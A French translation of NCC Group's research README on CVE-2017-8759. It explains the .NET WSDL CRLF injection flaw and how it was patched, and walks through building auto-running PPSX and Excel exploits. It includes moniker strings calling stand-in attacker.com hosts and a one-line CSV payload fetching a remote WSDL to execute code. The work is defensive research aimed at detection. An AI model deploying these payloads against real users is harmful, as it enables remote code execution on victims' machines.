nccgroup/cve-2017-8759L'analyse et l'exploitation de CVE-2017-8759 par NCC Group, ainsi que des raffinements supplémentaires.
Ce dépôt contient des exemples d'exploits pour CVE-2017-8759 pour Microsoft PowerPoint, ainsi qu'une description de la manière dont des vulnérabilités similaires ont été, et peuvent être, exploitées en utilisant les mêmes techniques.
L'objectif de la publication de ce dépôt est de mettre en évidence des techniques d'exploitation alternatives que les défenseurs pourraient actuellement ignorer. En mettant en évidence ces techniques alternatives, nous espérons permettre aux défenseurs de mettre en œuvre une détection robuste et d'éviter à la fois les faux positifs (dans le cas d'une identification erronée d'autres exploits de moniker comme CVE-2017-0199) et les faux négatifs (lorsque seules les détections RTF sont ciblées).
En avril, lorsque j'ai appris qu'une nouvelle vulnérabilité non corrigée était exploitée dans la nature, j'ai cherché à recréer l'exploit afin que des règles de détection puissent être créées avant que la vulnérabilité ne devienne publique. Cependant, à l'époque, tout ce dont je disposais était la description de la vulnérabilité publiée dans les articles de blog de FireEye et McAfee. En raison du manque de détails publics, cela m'a conduit à exploiter la vulnérabilité en utilisant (ce qui s'est avéré être) une méthode entièrement différente de celle utilisée par l'exploit « RTF URL Moniker » observé dans la nature.
Environ un mois plus tard, Haifei Li a mis en évidence la deuxième vulnérabilité (alias « PPSX Script Moniker ») lors de sa conférence SyScan360, qu'il avait identifiée et signalée en janvier 2017. Celle-ci a également été corrigée dans le cadre du même correctif CVE-2017-0199, mais a été exploitée (à la fois par l'auteur, et plus tard dans la nature) en utilisant le format de fichier PPSX. À ce stade, je n'ai toujours pas connaissance d'attaques dans la nature ayant utilisé le bug du moniker URL via PPSX — cependant, étant donné que les deux bugs ont été corrigés sous le même CVE, il y a eu (et il y a encore) une certaine confusion autour de la détection de ces exploits (plus de détails à ce sujet plus loin).
Avance rapide jusqu'en septembre 2017 : FireEye a découvert une autre vulnérabilité qui utilisait le format RTF dans Microsoft Word. Cela m'a incité à revenir sur mon précédent exploit « PPSX URL Moniker » pour vérifier si le nouveau bug « SOAP moniker » était également exploitable en utilisant la même technique PPSX.
Comme mentionné ci-dessus, la vulnérabilité précédente (CVE-2017-0199) était en réalité deux vulnérabilités distinctes, corrigées par Microsoft sous le même numéro CVE. La première (alias le bug « URL moniker ») a été exploitée via RTF, tandis que la seconde (alias le bug « script moniker ») utilisait en réalité une technique entièrement différente et a été exploitée en utilisant le format OOXML, plus précisément PPSX.
Comme également mentionné précédemment, la technique OOXML n'est pas spécifique à la vulnérabilité du script moniker et peut être utilisée pour exploiter les vulnérabilités « URL moniker », « Script moniker » et la nouvelle vulnérabilité « SOAP moniker ».
L'exploitation en OOXML est assez simple et s'appuie sur quelques astuces pour amener l'objet vulnérable à s'activer automatiquement. Je vais d'abord couvrir l'exploit du moniker URL, puis expliquer comment il pourrait être mis à jour pour fonctionner avec les monikers script et soap (et potentiellement d'autres à l'avenir).
Tout d'abord, un lien vers un fichier doit être intégré (appelé StdOleLink, ou OLE2Link). J'ai utilisé un lien vers un fichier PowerPoint dans mon exploit — comme illustré ci-dessous. Cela est nécessaire plus tard pour activer le moniker.
Une fois le lien en place, le chemin doit être modifié pour contenir la chaîne du moniker. Dans le cas du bug « URL moniker », cela consiste simplement à ajouter une URL pointant directement vers un fichier HTA (c.-à-d. « http://attacker.com/evil.hta »). Pour la version Script moniker, vous pouvez utiliser la chaîne « script:https://attacker.com/evil.sct ». Le chemin du fichier vers l'objet lié est stocké à l'emplacement suivant :
ppt\slides\_rels\slide1.xml.rels
Il suffit de remplacer ceci par une chaîne de moniker pour déclencher la vulnérabilité lorsque l'objet lié est activé. Cependant, cela ne se produit pas automatiquement à moins d'utiliser une autre astuce.
Pour activer automatiquement l'objet, vous pouvez utiliser ce que l'on appelle un « OLE Verb ». En termes simples, c'est ce qui amène PowerPoint à « activer » l'objet, en appelant la méthode IMoniker::BindToObject(), ce qui aboutit à l'exécution de votre code (selon le moniker, différents chemins sont empruntés après cela).
Pour utiliser un OLE Verb, sélectionnez simplement l'objet intégré et allez dans :
Animations -> Add Animation -> OLE Action Verbs -> Open
Une fois l'animation OLE Verb créée, vous pouvez sélectionner « Démarrer : avec le précédent » afin de garantir que l'objet est activé dès le démarrage du diaporama.
À ce stade, si vous choisissez d'enregistrer le document au format PPTX et de l'ouvrir, une invite vous demandera de mettre à jour les liens. Ceci est indésirable dans un scénario d'exploitation.
Pour contourner ce problème, vous pouvez simplement enregistrer le fichier au format PPSX (diaporama PowerPoint) à la place. Cela entraînera le démarrage automatique du diaporama à l'ouverture (et donc le déclenchement de l'OLE Verb pour exécuter votre code).
Comme décrit dans l'article de blog de FireEye, la vulnérabilité réside en réalité dans le framework .NET plutôt que dans Office lui-même. Cela est dû à un problème d'injection de code lors de l'analyse d'un fichier WSDL contenant plusieurs définitions d'adresses. Si une séquence CRLF est injectée, il est possible d'ajouter du code arbitraire au fichier c# généré, qui est ensuite compilé en DLL et chargé par l'application Office.
Le bug lui-même est présent dans la méthode IsValidUrl de la classe WsdlParser de System.Runtime.Remoting. Avant le correctif CVE-2017-8759, cette méthode ne vérifie pas la présence de caractères CRLF et retourne simplement la chaîne non assainie (après s'être assurée que la chaîne est correctement entre guillemets), qui est ensuite écrite dans un fichier .cs pour compilation par csc.exe. Cela signifie que si un attaquant transmet une URL contenant \r\n, il peut injecter du code arbitraire dans le fichier C# généré. La raison pour laquelle l'injection CRLF fonctionne est que, généralement, lorsqu'un fichier WSDL contenant plusieurs définitions d'adresses est analysé, la méthode PrintClientProxy tente de commenter les définitions suivantes, comme illustré ci-dessous.
IsValidUrl non corrigée :
PrintClientProxy :
Le problème ici est que IsValidUrl est toujours appelée sur l'URL de l'adresse secondaire avant de l'ajouter à la ligne commentée. Si un attaquant ajoute des caractères CRLF dans une deuxième définition d'adresse, lorsque le code est analysé par IsValidUrl, il peut sortir de la ligne commentée et injecter son propre code C#.
Après le correctif CVE-2017-8759, la classe WsdlParser contient désormais une nouvelle méthode nommée TransliterateString. Désormais, lorsque IsValidUrl est appelée, le code vérifie d'abord si le booléen AppSettings.AllowUnsanitizedWSDLUrls est défini. S'il est défini sur true, le code emprunte le même chemin qu'avant le correctif (autorisant l'injection CRLF). Cependant, s'il est défini sur false, la nouvelle méthode TransliterateString est appelée. Cette nouvelle méthode encode simplement tous les caractères non alphabétiques en unicode échappé, garantissant ainsi que les caractères de nouvelle ligne ne peuvent pas être injectés.
IsValidUrl corrigée :
TransliterateString :
Pour démontrer le correctif, j'ai créé un simple harnais de test en C# et tenté d'analyser une chaîne contenant des caractères CRLF. Le résultat est présenté ci-dessous. Remarquez que lorsque la méthode corrigée est appelée et que AllowUnsanitizedWSDLUrls est défini sur false, la chaîne est désormais encodée.
En étudiant comment exploiter cette vulnérabilité, j'ai créé un harnais de test afin de tester l'exécution de code en dehors d'Office. J'ai utilisé JScript avec la méthode GetObject pour cela, mais vous pourriez utiliser soapsuds.exe. Cela a été testé avec le fichier WSDL de l'échantillon de malware afin d'étudier son fonctionnement et de confirmer la vulnérabilité.
Une fois l'exploit fonctionnel avec GetObject, j'ai simplement modifié le fichier rels comme indiqué précédemment pour inclure un moniker soap, sous la forme « soap:wsdl=http://attacker.com/evil.whatever ».
Après avoir créé l'exploit, je l'ai téléversé sur Virus Total (comme je l'avais fait avec les échantillons précédents) et j'ai obtenu des résultats surprenants. Il s'est avéré n'être détecté que par un seul moteur antivirus, et a été faussement identifié comme CVE-2017-0199. Un autre échantillon que j'ai téléversé semblait également étiqueté comme CVE-2017-0199. Cela semble compréhensible en raison des similitudes avec le(s) exploit(s) précédent(s), mais il est toutefois à craindre que cela puisse mener à une confusion, ou dans le pire des cas, à ce que des exploits de moniker nouvellement découverts soient manqués parce qu'ils seraient écartés comme une vulnérabilité plus ancienne, déjà corrigée.
Commencez par démarrer un serveur web localement, dans le même dossier que les fichiers de l'exploit :
python -m SimpleHTTPServer 80
Ouvrez maintenant le fichier exploit.ppsx. Si tout se passe bien, vous devriez voir PowerPoint récupérer logo.png et w00t.hta depuis votre serveur de fichiers local, et calc.exe sera exécuté.
Après avoir publié des informations sur l'exploit PPSX sur Twitter, Jacob Soo m'a contacté et m'a suggéré d'essayer d'exploiter la vulnérabilité dans Microsoft Excel. J'ai essayé et effectivement, il avait raison — j'ai pu exécuter calc.exe avec une seule invite.
C'est intéressant, comme cela a été souligné précédemment — les fichiers CSV (et SLK) ne déclenchent pas le mode protégé. Cela signifie que le nombre d'invites présentées à un utilisateur lorsqu'on lui envoie un fichier RTF, PPSX ou CSV/SLK provenant d'Internet est exactement le même (en raison du déclenchement de la vue protégée pour les premiers). De plus, étant donné qu'ils sont en texte brut et généralement relativement inoffensifs, les fichiers CSV passent souvent à travers les défenses périmétriques (telles que les proxys web ou les filtres anti-spam).
Exploiter ce bug dans Excel est aussi simple que d'inclure un lien vers le fichier WSDL. Notez que dans l'exemple ci-dessous, nous utilisons le ProgID « GC » (simplement parce que c'est le plus court que j'ai pu trouver), mais il peut s'agir de n'importe quel ProgID valide pour activer le moniker.
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
Enregistrer la chaîne ci-dessus au format CSV suffit pour exploiter la vulnérabilité — assez courte pour être tweetée ! De plus, en raison de sa brièveté, il est plus difficile (bien que évidemment pas impossible) de créer des signatures de détection, et je pense donc qu'il est utile de la mettre en évidence pour les défenseurs afin que les attaques basées sur Excel puissent être identifiées à l'avenir.
Microsoft a publié un correctif pour cette vulnérabilité le 12/09/2017.
Des règles Yara pour les variantes de CVE-2017-8759 ont été publiées par Florian Roth et Security Doggo.
J'ai également créé :